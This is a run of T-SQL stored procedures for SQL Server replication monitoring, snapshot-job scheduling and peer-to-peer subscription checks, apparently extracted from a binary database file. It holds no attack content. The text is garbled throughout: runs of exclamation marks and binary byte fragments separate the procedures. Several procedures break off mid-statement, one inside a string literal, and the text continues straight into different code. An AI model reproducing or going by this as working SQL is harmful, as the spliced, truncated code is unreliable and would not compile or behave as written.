        update #tmp_subscriptiondata 
        set monitorranking = sys.fn_replmonitorsubscriptionranking(status, warning, publication_type)
        --
        -- set the rowcount if necessary
        --
        if @topnum is not null
            set rowcount @topnum
        --
        -- return the rowset based on mode
        --
        select
            status 
            ,warning 
            ,subscriber 
            ,subscriber_db 
            ,publisher_db 
            ,publication 
            ,publication_type
            ,subtype 
            ,latency 
            ,latencythreshold 
            ,agentnotrunning 
            ,agentnotrunningthreshold 
            ,timetoexpiration 
            ,expirationthreshold 
            ,last_distsync 
            ,distribution_agentname
            ,mergeagentname
            ,mergesubscriptionfriendlyname
            ,mergeagentlocation
            ,mergeconnectiontype
            ,mergePerformance
            ,mergerunspeed
            ,mergerunduration
            ,monitorranking
            ,distributionagentjobid
            ,mergeagentjobid
            ,distributionagentid
            ,distributionagentprofileid
            ,mergeagentid
            ,mergeagentprofileid
            ,logreaderagentname
            ,publisher
        from #tmp_subscriptiondata
        where 
            @mode in (@modeallsubscription, @modetop25worstperforming, @modetop50worstperforming)   -- return all subscriptions
            or (@mode = @modeinerroronly and monitorranking = 60) -- return only ones in error 
            or (@mode = @modeinwarningonly and monitorranking between 50 and 59 ) -- return only ones with warning 
            or (@mode = @modeinerrorandwarningonly and monitorranking between 50 and 60 ) -- return only ones with warning or error
            or (@mode = @modesynchronizing and status in (1,3,4)) -- return only ones with running agents
            or (@mode = @modenotsynchronizing and status not in (1,3,4)) -- return only ones with stopped agents
        order by monitorranking desc  -- highest rank will be shown first 
            ,latency desc -- highest latency first
    end
    else
    begin
        -- ************************************
        -- handle merge subscriptions
        declare @publisher_id smallint
        select @publisher_id = srvid from master.dbo.sysservers where
           UPPER(srvname collate database_default) = UPPER(@publisher) collate database_default
        
        --
        -- set the rowcount if necessary
        --
        if @topnum is not null
            set rowcount @topnum
        --
        -- return the rowset based on mode
        --
        select
            sub.status 
            ,sub.warning 
            ,sub.subscriber 
            ,sub.subscriber_db 
            ,sub.publisher_db 
            ,sub.publication
            ,sub.publication_type
            ,sub.subtype 
            ,sub.latency 
            ,sub.latencythreshold 
            ,sub.agentnotrunning 
            ,sub.agentnotrunningthreshold 
            ,timetoexpiration =  case when (sub.retention is null) then null else (case when sub.retention_period_unit = 0 then datediff(hour, @curdate, dateadd(hour, sub.retention, sub.last_distsync)) else (datediff(hour, @curdate, sys.fn_add_units_to_date(sub.retention, sub.retention_period_unit, sub.last_distsync))) end) end 
            ,sub.expirationthreshold 
            ,sub.last_distsync 
            ,sub.distribution_agentname
            ,sub.mergeagentname
            ,sub.mergesubscriptionfriendlyname
            ,sub.mergeagentlocation
            ,sub.mergeconnectiontype
            ,sub.mergePerformance
            ,sub.mergerunspeed
            ,sub.mergerunduration
            ,sub.monitorranking 
            ,sub.distributionagentjobid
            ,sub.mergeagentjobid
            ,sub.distributionagentid
            ,sub.distributionagentprofileid
            ,sub.mergeagentid
            ,sub.mergeagentprofileid
            ,sub.logreaderagentname
            ,sub.publisher
        from 
        (
            select
                -- static
                subscriber = upper(agents.subscriber_name)
                ,subscriber_id = agents.subscriber_id
                ,subscriber_db = agents.subscriber_db
                ,publisher_srvid = r.publisher_srvid
                ,publisher_db = r.publisher_db
                ,publication = r.publication
                ,publication_id = r.publication_id
                ,publication_type = r.publication_type
                ,subtype = case when agents.anonymous_subid is not null then 2 else s.subscription_type end
                -- dynamic    
                ,status = r.status
                ,warning = r.warning
                ,agentnotrunning = case when (r.agentstoptime is null) then null else datediff(hour, @curdate, r.agentstoptime) end
                ,last_distsync = r.last_distsync
                ,subscription_time = s.subscription_time
                -- merge perf
                ,mergeagentname = agents.name
                --,'agentname'
                ,mergeagentlocation = case when s.subscription_type=0 then @publisher else UPPER(agents.subscriber_name) end
                ,mergesubscriptionfriendlyname = s.description 
                ,mergeconnectiontype = mergelatestsessionconnectiontype
                ,mergerunduration = r.mergelatestsessionrunduration
                --2,NULL
                ,mergerunspeed=r.mergelatestsessionrunspeed
                ,mergePerformance = r.mergePerformance
                ,mergeagentjobid = agents.job_id
                ,mergeagentid = agents.id
                ,mergeagentprofileid = agents.profile_id
                ,retention = r.retention
                ,retention_period_unit = r.retention_period_unit
                ,monitorranking = case when (r.status > 5 or r.warning > 0) then sys.fn_replmonitorsubscriptionranking(r.status, r.warning, r.publication_type) else (case when r.status = 0 then 50 else (case when r.status = 5 then 40 else (case when r.status = 2 then 20 else 30 end) end) end) end
                ,latency = NULL
                ,latencythreshold = NULL		
                ,agentnotrunningthreshold = NULL
                ,distribution_agentname = NULL
                ,distributionagentjobid = NULL
                ,distributionagentid = NULL
                ,distributionagentprofileid = NULL
                ,logreaderagentname = NULL
                ,expirationthreshold = NULL
                ,r.publisher
            from #tmp_replication_monitordata as r 
                join dbo.MSmerge_agents agents with (nolock)
                    on agents.name = r.agent_name collate database_default
                    and (@exclude_anonymous = 0 or agents.anonymous_subid is null)
                    and ((@publisher is null and agents.publisher_id is not null) or (agents.publisher_id=@publisher_id))
                    and agents.publisher_db=r.publisher_db collate database_default
                    and agents.publication=r.publication collate database_default
                    and (r.agent_type & 4) = 4 -- for merge only
            
                left outer join dbo.MSmerge_subscriptions as s with (nolock)
                    on r.publisher_srvid = s.publisher_id
                    and r.publisher_db = s.publisher_db collate database_default
                    and r.publication_id = s.publication_id 
                    and s.subscriber is not NULL    -- skip the virtual entries in dbo.MSsubscriptions
                    and UPPER(agents.subscriber_name)=UPPER(s.subscriber) 
                 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(v	j (bv&create procedure sys.sp_replmonitorrefreshdata 
(
    @publisher sysname = NULL  -- null means wildcard
    ,@publisher_db sysname = NULL -- null means wildcard
    ,@publication sysname = NULL -- null means wildcard
    ,@publication_type int = NULL -- null means wildcard
    ,@refreshpolicy tinyint = 0 -- 0 = default cache refresh, 1 = optimistic force refresh, 2 = non-optimistic force refresh
    ,@profile bit = 0 -- for internal use - DO NOT DOCUMENT (remove this before release)
)
as
begin
    set nocount on
    declare @retcode int
                ,@flockrefreshcheckacquired bit
                ,@flockcomputeacquired bit
                ,@frefresh bit
                ,@fwaitforcacheowner bit
                ,@lastrefresh datetime
                ,@starttime datetime
                ,@endtime datetime
                ,@lastcomputetime int
                ,@ptime datetime
                ,@distribution_db sysname
                

    --
    -- initialize
    --
    select @distribution_db = db_name()
    --
    -- validate @refreshpolicy
    --
    if (@refreshpolicy not in (0,1,2))
    begin
        raiserror(20587, 16, -1, '@refreshpolicy', 'sp_replmonitorrefreshdata')
        return (1)
    end
    --
    -- loop till you satisfy the conditions
    --
    if (@profile = 1)
        select @ptime = getdate()
    while (1=1)
    begin
        --
        -- get the exclusive lock for refresh check
        --
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 0
        if @retcode != 0 or @@error != 0
            return 1
        select @flockrefreshcheckacquired = 1
                ,@starttime = getdate()
        --
        -- check if we need to refresh
        --
        select @lastrefresh = lastrefresh
                            ,@lastcomputetime = case when (4 > isnull(computetime, 0)) then 4 else isnull(3 * computetime, 0) end
        from dbo.MSreplication_monitordata
        where lastrefresh is not null
        
        if @lastrefresh is null
        begin
            -- table has never been populated
            -- switch refreshpolicy to force refresh policy
            select @refreshpolicy = 1
                    ,@frefresh = 1
        end
        else
        begin
            --
            -- Cache refresh policy
            --
            -- default policy (refreshpolicy = 0)
            --   refresh period of max(4sec, lastcomputetime) should have elapsed
            --   if the cache is being processed by others - use older cache
            --
            -- optimistic force refresh policy (refreshpolicy = 1)
            --   elapsed refresh period is ignored
            --   if the cache is being built by other - block until newly built cache
            --   is available and them return the data from newly built cache
            --
            -- non-optimistic force refresh policy (refreshpolicy = 2)
            --   elapsed refresh period is ignored
            --   if the cache is being built by other - block until cache ownership
            --   is claimed and then rebuild cache again and then return data
            --
            if (@refreshpolicy in (1,2)) or ((@refreshpolicy = 0) and datediff(second, @lastrefresh, @starttime) > @lastcomputetime)
                select @frefresh = 1
        end
        --
        -- more checks if we are refreshing
        --
        if (@frefresh = 1)
        begin
            --
            -- get the compute lock
            --
            exec @retcode = sys.sp_replmonitorsynchronize @mode = 3
            if (@retcode = 0)
            begin
                --
                -- got the compute lock - good to go ahead for refresh
                --
                select @flockcomputeacquired = 1
                --
                -- release the lock for refresh check
                --
                exec @retcode = sys.sp_replmonitorsynchronize @mode = 2
                if @@error != 0 or @retcode != 0
                    goto cleanup
                select @flockrefreshcheckacquired = 0
                --
                -- break out of the check loop
                --
                break
            end
            else
            begin
                --
                -- someone is already computing the refresh
                -- release refresh lock as we will not refresh now
                --
                select @frefresh = 0
                exec @retcode = sys.sp_replmonitorsynchronize @mode = 2
                if @@error != 0 or @retcode != 0
                    goto cleanup
                select @flockrefreshcheckacquired = 0
                --
                -- processing for force refresh policies
                --
                if (@refreshpolicy in (1,2))
                begin
                    --
                    -- we cannot return until the we own the compute lock
                    -- set the flag to indicate we waited at least once
                    -- delay 1 second and try again
                    --
                    select @fwaitforcacheowner = 1
                    waitfor delay '00:00:01'
                    continue
                end
                else
                begin
                    --
                    -- default policy: no refresh is needed since it is being refreshed by someone
                    -- we will not block the processing
                    -- break out of loop
                    --
                    break
                end  -- if (@refreshpolicy in (1,2))
            end -- did not get compute lock
        end -- if (@frefresh = 1)
        else
        begin
            --
            -- no refresh is needed 
            -- release the lock for refresh check
            --
            exec @retcode = sys.sp_replmonitorsynchronize @mode = 2
            if @@error != 0 or @retcode != 0
                goto cleanup
            select @flockrefreshcheckacquired = 0
            --
            -- break out of loop
            --
            break
        end
    end -- end while (1=1)
    if (@profile = 1)
        select 'applock processing' = datediff(second, @ptime, getdate())    
    --
    -- For optimistic force refresh (refreshpolicy = 1)
    -- check if we waited 
    --
    if (@frefresh = 1 and @flockcomputeacquired = 1 
        and @refreshpolicy = 1 and @fwaitforcacheowner = 1)
    begin
        --
        -- we waited and the cache was refreshed by someone else
        -- we will just use that cache instead of refreshing it ourselves
        -- release the compute lock
        --
        select @frefresh = 0
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 4
        if (@retcode != 0)
            goto cleanup
        select @flockcomputeacquired = 0
    end
    --
    -- consistency check (for debugging purposes)
    --
    if (@profile = 1)
    begin
        if (@frefresh = 1)
        begin
            -- for refresh processing:  compute lock = 1, refresh lock = 0
            if not((@flockrefreshcheckacquired = 0) and (@flockcomputeacquired = 1))
            begin
                raiserror('Inconsistent synchronization', 16, 1)
                select @flockcomputeacquired, @flockrefreshcheckacquired
                select @retcode = 1
                goto cleanup
            end
        end
        else
        begin
            -- for non refresh processing:  compute lock = 0, refresh lock = 0
            if not((@flockrefreshcheckacquired = 0) and (@flockcomputeacquired = 0))
            begin
                raiserror('Inconsistent synchronization', 16, 1)
                select @flockcomputeacquired, @flockrefreshcheckacquired
                select @retcode = 1
                goto cleanup
            end
        end
    end
    --
    -- processing block for refresh
    --
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(w	j ~vv&    if (@frefresh = 1)
    begin
        -- we will compute the refresh in a temp table
        create table #tmp_replmonitorrefresh
        (
            publication_id int
            ,publisher sysname
            ,publisher_srvid int
            ,publisher_db sysname 
            ,publication sysname 
            ,publication_type int
            ,agent_type int 
            ,agent_id int 
            ,agent_name sysname
            ,job_id uniqueidentifier
            ,status int
            ,isagentrunningnow bit
            ,warning int
            ,last_distsync datetime
            ,agentstoptime datetime
            ,distdb sysname null
            ,retention int
            ,time_stamp datetime null
            ,worst_latency int
            ,best_latency int
            ,avg_latency int
            ,cur_latency int 
            ,mergePerformance int
            ,mergelatestsessionrunduration int
            ,mergelatestsessionrunspeed float
            ,mergelatestsessionconnectiontype int
            ,retention_period_unit tinyint
        )
        if (@@error != 0)
            goto cleanup
        --
        -- build indices
        --
        create clustered index ctemprefresh 
            on #tmp_replmonitorrefresh(agent_id) 
        if (@@error != 0)
            goto cleanup
        create nonclustered index nc1temprefresh 
            on #tmp_replmonitorrefresh(publication_id) 
        if (@@error != 0)
            goto cleanup
        create nonclustered index nc2temprefresh 
            on #tmp_replmonitorrefresh(agent_type) 
        if (@@error != 0)
            goto cleanup
        
        --
        -- create the temp table to load the agent status - 
        -- since we are using sp_MSload_tmp_replication_status
        -- create the temp table for now
        --
        create table #tmp_replication_status
        (
            publisher sysname,
            publisher_db sysname, 
            publication sysname, 
            publication_type int,
            agent_type int, -- this can have 0x80000000 for anonymous distribution/merge agent
            status int,
            agent_id int,
            agent_name sysname,
            job_id uniqueidentifier null,
            time_stamp datetime null,
            publisher_srvid int null
        )
        
        --
        -- load tmp replication_status table
        --
        if (@profile = 1)
            select @ptime = getdate()
        exec @retcode = sys.sp_MSload_tmp_replication_status @agent_type = -1, @distribution_db = @distribution_db
        if @@error != 0 or @retcode != 0
            goto cleanup
        if (@profile = 1)
            select 'sp_MSload_tmp_replication_status' = datediff(second, @ptime, getdate())
        --
        -- Load this data into the refresh table now
        --
        insert into #tmp_replmonitorrefresh
        (
            publisher
            ,publisher_db
            ,publication
            ,publication_type
            ,agent_type
            ,status
            ,agent_id
            ,agent_name
            ,job_id
            ,time_stamp
            ,distdb
            ,publisher_srvid
            ,warning
            ,publication_id
            ,retention
            ,retention_period_unit
        )
        select upper(publisher)
            ,t.publisher_db
            ,t.publication
            ,t.publication_type
            ,agent_type
            ,status
            ,agent_id
            ,agent_name
            ,job_id
            ,time_stamp
            ,@distribution_db
            ,publisher_srvid
            ,0
            ,p.publication_id
            ,p.retention
            ,p.retention_period_unit
        from #tmp_replication_status t 
            left outer join dbo.MSpublications as p with (nolock) 
                on t.publisher_srvid = p.publisher_id 
                and t.publisher_db = p.publisher_db collate database_default
                and t.publication = p.publication collate database_default
                and t.publication_type = p.publication_type 
        --
        -- Agent data and Warning computation
        --
        if (@profile = 1)
            select @ptime = getdate()
        exec @retcode = sys.sp_replmonitorrefreshagentdata 
        if @@error != 0 or @retcode != 0
            goto cleanup
        if (@profile = 1)
        begin
            select 'sp_replmonitorrefreshagentdata' = datediff(second, @ptime, getdate())
            select @ptime = getdate()
        end
        exec @retcode = sys.sp_replmonitorrefreshwarningdata 
        if @@error != 0 or @retcode != 0
            goto cleanup
        if (@profile = 1)
        begin
            select 'sp_replmonitorrefreshwarningdata' = datediff(second, @ptime, getdate())
            select @ptime = getdate()
        end
        --
        -- we are done with computing now
        -- we have to update the real table
        -- get the exclusive lock for refresh check
        --
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 0
        if @retcode != 0
            goto cleanup
        select @flockrefreshcheckacquired = 1
        if (@profile = 1)
        begin
            select 'second sync lock' = datediff(second, @ptime, getdate())
            select @ptime = getdate()
        end
        --
        -- populate the monitor refresh table now
        --
        truncate table dbo.MSreplication_monitordata
        if (@@error != 0)
            goto cleanup
        insert into dbo.MSreplication_monitordata
        (
            publication_id 
            ,publisher 
            ,publisher_srvid 
            ,publisher_db  
            ,publication  
            ,publication_type 
            ,agent_type  
            ,agent_id  
            ,agent_name 
            ,job_id 
            ,status 
            ,isagentrunningnow 
            ,warning 
            ,last_distsync 
            ,agentstoptime 
            ,distdb 
            ,retention 
            ,time_stamp 
            ,worst_latency 
            ,best_latency 
            ,avg_latency 
            ,cur_latency
            ,mergePerformance 
            ,mergelatestsessionrunduration 
            ,mergelatestsessionrunspeed 
            ,mergelatestsessionconnectiontype 
            ,retention_period_unit 
        )
        select 
            publication_id 
            ,publisher 
            ,publisher_srvid 
            ,publisher_db  
            ,publication  
            ,publication_type 
            ,agent_type  
            ,agent_id  
            ,agent_name 
            ,job_id 
            ,status 
            ,isagentrunningnow 
            ,warning 
            ,last_distsync 
            ,agentstoptime 
            ,distdb 
            ,retention 
            ,time_stamp 
            ,worst_latency 
            ,best_latency 
            ,avg_latency 
            ,cur_latency
            ,mergePerformance 
            ,mergelatestsessionrunduration 
            ,mergelatestsessionrunspeed 
            ,mergelatestsessionconnectiontype 
            ,retention_period_unit 
        from #tmp_replmonitorrefresh 
        if (@@error != 0)
            goto cleanup
        --
        -- update the compute time of the first row
        --
        select @endtime = getdate()
        update dbo.MSreplication_monitordata 
        set lastrefresh = @endtime
            ,computetime = datediff(second, @starttime, @endtime)
        where lastrefresh is not null
        
        if @@rowcount = 0
        begin
            update top(1) dbo.MSreplication_monitordata 
            set lastrefresh = @endtime
            ,computetime = datediff(second, @starttime, @endtime)
        end
        
        if (@profile = 1)
        begin
            select 'table!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`g	<
\x	-f0 8--
-- Name: sp_MSchangedynamicsnapshotjobatdistributor
--
-- Description: This function is called by sp_changeddynamicsnapshot_job 
--              at the publisher to change the schedule of a dynamic snapshot job 
--              at the distributor. 
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Only members of the 'sysadmin' server role and members of the 
--           'db_owner' database role at the distributor can call this 
--           procedure. This procedure is intended to be called through 
--           the distributor_admin remote login in the case where
--           the distributor is a different machine from the publisher. 
--
create procedure sys.sp_MSchangedynamicsnapshotjobatdistributor 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @dynamic_filter_login sysname,
    @dynamic_filter_hostname sysname,

    -- Scheduling information
    @frequency_type 				int = NULL,
    @frequency_interval 			int = NULL,
    @frequency_subday				int = NULL,
    @frequency_subday_interval		int = NULL,
    @frequency_relative_interval	int = NULL,
    @frequency_recurrence_factor	int = NULL,
    @active_start_date				int = NULL,
    @active_end_date				int = NULL,
    @active_start_time_of_day		int = NULL,
    @active_end_time_of_day 		int = NULL,

    -- Job Login information
    @job_login						nvarchar(257) = NULL,
    @job_password					sysname = NULL        
)
as
begin
    set nocount on

    declare @retcode int
    declare @agent_id int
    declare @job_id uniqueidentifier
    declare @job_step_uid uniqueidentifier
    declare @publisher_id int
    declare @publication_type int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_srvrolemember('sysadmin') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSchangedynamicsnapshotjobatdistributor', 'distribution')
        return (1)
    end

    if @dynamic_filter_login is NULL and @dynamic_filter_hostname is NULL
    begin
        raiserror(20653, 16, -1)
        return 1
    end
    
    select @retcode = 0
    select @agent_id = null

    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(srvname) = UPPER(@publisher)
    IF @publisher_id IS  NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END
    
    -- Get the publication details from the agent for regular snapshot  
    select @agent_id = id,
           @job_id = job_id,
           @job_step_uid = job_step_uid,
           @publication_type = publication_type
      from MSsnapshot_agents
     where publisher_id = @publisher_id and 
           publication = @publication and 
           publisher_db = @publisher_db and
          ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
          ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname)
    if @agent_id is null or @job_id is NULL
    begin
        raiserror(21325, 11, -1)
        return 1
    end

    if @publication_type <> 2
    begin
        raiserror(20654, 16, -1)
        return 1
    end

    -- Change the job
    exec @retcode = sys.sp_MSchange_repl_job @id 							= @job_id,
								            @step_uid						= @job_step_uid,
								            @name 							= NULL,
								    		@frequency_type 				= @frequency_type,
								    		@frequency_interval 			= @frequency_interval,
								    		@frequency_subday				= @frequency_subday,
								    		@frequency_subday_interval		= @frequency_subday_interval,
								    		@frequency_relative_interval	= @frequency_relative_interval,
								    		@frequency_recurrence_factor	= @frequency_recurrence_factor,
								    		@active_start_date				= @active_start_date,
								    		@active_end_date				= @active_end_date,
								    		@active_start_time_of_day		= @active_start_time_of_day,
								    		@active_end_time_of_day 		= @active_end_time_of_day,
								    		@login							= @job_login,
								    		@password						= @job_password

    if @retcode <> 0 or @@error <> 0
        goto UNDO
    
    RETURN(0)

UNDO:
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Dy	~0mq K8--
-- Name: 
--		sp_MSdetectinvalidpeersubscription
-- 
-- Description: 
--
--
-- Parameters: 
--	 	See the procedure definition.
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Called by distribution agent at the subscriber (must be made public).
--		SYSADMIN or DBO of subscriber db
--
create procedure sys.sp_MSdetectinvalidpeersubscription
(
	@publisher		sysname,
	@publisher_db	sysname,
    @publication	sysname,
    @dest_table		sysname,
    @dest_owner		sysname,
    @article        sysname,
    @type			sysname 	-- Add or Del
)
as
begin
	set nocount on

	declare @OPT_ENABLED_FOR_P2P int
	select @OPT_ENABLED_FOR_P2P = 0x1
	
	declare @retcode 		int,
			@agent_id 		int,
			@subscriber		sysname,
			@subscriber_db	sysname

	select @subscriber		= @@SERVERNAME,
			@subscriber_db	= DB_NAME()
			
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or  @retcode <> 0 
    begin
        return 1
    end

	-- if this not a republisher then we can just exit
	if sys.fn_MSrepl_istranpublished(db_name(),0) = 0
    begin
    	return 0
    end
    
	select @agent_id = id
		from MSsubscription_agents
		where publisher = @publisher
			and publisher_db = @publisher_db
			and publication = @publication
	if @@error <> 0
		or @agent_id is NULL
	begin
		-- Could not find a valid Agent Id for the subscription to Publisher @publisher, database @publisher_db, publication @publication.
		raiserror(21758, 16, -1, @publisher, @publisher_db, @publication)
		return 1
	end

	-- if we do not find a publication by the name as @publication 
	-- then we can continue without error and without any warnings.
	if not exists(select *
					from syspublications
					where name = @publication
						and (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P)
	begin
		return 0
	end

	if upper(@type) = N'ADD'
	begin
		if not exists(select *
						from MSsubscription_articles mssa
							join sysextendedarticlesview sa
								on mssa.dest_table = sa.dest_table
									and isnull(mssa.owner, N'dbo') = isnull(sa.dest_owner, N'dbo')
							join syspublications sp
								on sa.pubid = sp.pubid
						where mssa.agent_id = @agent_id
							and sp.name = @publication
							and (sp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
							and mssa.article = @article
							and sa.dest_table = @dest_table
							and isnull(sa.dest_owner, N'dbo') = isnull(@dest_owner, N'dbo'))
		begin
			-- Peer-To-Peer topologies require identical articles in publications at all nodes prior to synchronizing. Articles in publication [@publisher].[@publisher_db].[publication] do not match articles in [@subscriber].[@subscriber_db].[publication].
			raiserror(20803, 16, -1, @publisher, @publisher_db, @publication, @subscriber, @subscriber_db, @publication)
			return 1
		end
	end
	else if upper(@type) = 'DEL'
	begin
		delete MSsubscription_articles
			where agent_id = @agent_id
				and article = @article
		
		if exists(select *
					from sysextendedarticlesview sa
						join syspublications sp
							on sa.pubid = sp.pubid
					where sp.name = @publication
						and (sp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
						and sa.name = @article
						and sa.dest_table = @dest_table
						and isnull(sa.dest_owner, N'dbo') = isnull(@dest_owner, N'dbo'))
		begin
			-- Peer-To-Peer topologies require identical articles in publications at all nodes prior to synchronizing. Articles in publication [@publisher].[@publisher_db].[publication] do not match articles in [@subscriber].[@subscriber_db].[publication].
			raiserror(20803, 16, -1, @publisher, @publisher_db, @publication, @subscriber, @subscriber_db, @publication)
			return 1
		end
	end
	
	return 0
end
0j{ 
8
create procedure sys.sp_MScontractsubsnb 
    (@pubid uniqueidentifier,
     @tablenick int,
     @basetable nvarchar(517))
AS
    declare     @filter_clause  nvarchar(4000)
    declare     @join_nick int
    declare     @qualified_jointable      nvarchar(517)
    declare     @unqualified_jointable      nvarchar(270)
    declare     @filterid int
    declare     @retcode int
    declare     @tablenickstr nvarchar(10)
    declare 	@unqual_basetable sysname
	declare		@command nvarchar(max)
    
    set @tablenickstr = convert(nchar(10), @tablenick)
    
	select @unqual_basetable = name from sys.objects where object_id=object_id(@basetable)

    /* First, try to remove rows from notbelong based on the article filter, if there is one */
    select @filter_clause = subset_filterclause from dbo.sysmergearticles where
        pubid = @pubid and nickname = @tablenick
    if len(@filter_clause) > 0
        begin
        exec ('delete from #notbelong with (paglock) where tablenick = ' + @tablenickstr + ' and rowguid in
                (select RowGuidCol from ' + @basetable + ' where ' + @filter_clause + ')' )
        if @@error<>0 return(1)
        end

    /* Now loop over any join filters that have this as the base_table */
    select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters
        where pubid = @pubid and art_nickname = @tablenick and (filter_type & 1) = 1
    while @filterid is not null
        begin
        /* Get joining table and filter clause */
        select @join_nick = join_nickname, @filter_clause = join_filterclause
                from dbo.sysmergesubsetfilters where pubid = @pubid and join_filterid = @filterid and (filter_type & 1) = 1
        exec @retcode = sys.sp_MStablenamefromnick @join_nick, @qualified_jointable out, @pubid, @unqualified_jointable out
        if @@error<>0 or @retcode<>0 return(1)

        /* Exec query to remove rows from #notbelong that still belong to partial */
        select @command = 'delete from #notbelong with (paglock) where tablenick = ' + @tablenickstr + ' and rowguid in
                (select ' + quotename(@unqual_basetable) + '.RowGuidCol from ' + @basetable + ' ' + quotename(@unqual_basetable) + ', ' +
                @qualified_jointable + ' ' + @unqualified_jointable + ' where (' + @filter_clause + ') and ' + @unqualified_jointable +
                '.RowGuidCol not in (select rowguid from #notbelong))'
		exec(@command)
        if @@error<>0 return(1)

        /* Find the next filter that might apply */
        select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters
            where pubid = @pubid and art_nickname = @tablenick and join_filterid > @filterid and (filter_type & 1) = 1
        end
        return(0)
